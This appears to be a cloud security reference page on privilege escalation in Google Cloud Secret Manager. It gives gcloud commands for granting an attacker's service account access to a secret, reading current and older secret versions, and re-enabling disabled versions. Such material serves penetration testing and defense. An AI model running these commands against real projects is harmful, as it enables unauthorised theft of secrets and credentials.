> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/gcp/gcp-offensive-security/gcp-privilege-escalation/secret-manager.md).

# Secret Manager

## secretmanager.secrets.setIamPolicy

* With this permission, an attacker can give themselves access to a secret by updating secret's resource policy. Additional roles aside from `secretmanager.secretAccessor` can also be used.

{% code overflow="wrap" %}

```shellscript
gcloud secrets add-iam-policy-binding <SECRET_NAME> \
  --project=$PROJECT_ID \
  --member="serviceAccount:<ATTACKER_SA>@<PROJECT>.iam.gserviceaccount.com" \
  --role="roles/secretmanager.secretAccessor"
```

{% endcode %}

***

## secretmanager.versions.access

* Multiple versions of a secret may exist and/or may not be deleted. With this permission, an attacker can get previous versions of a secret.&#x20;

{% code overflow="wrap" %}

```shellscript
gcloud secrets versions access latest --secret supersecret ## specify latest
gcloud secrets versions access <version-id> --secret supersecret ## specify a version
```

{% endcode %}

***

## secretmanager.versions.enable + secretmanager.versions.access

* With these permissions, an attack can re-enable a particular version of a disabled secret.&#x20;

{% code overflow="wrap" %}

```shellscript
gcloud secrets versions enable <version-id> --secret supersecret ## latest not supported
gcloud secrets versions access latest --secret supersecret ## specify latest
gcloud secrets versions access <version-id> --secret supersecret ## specify a version
```

{% endcode %}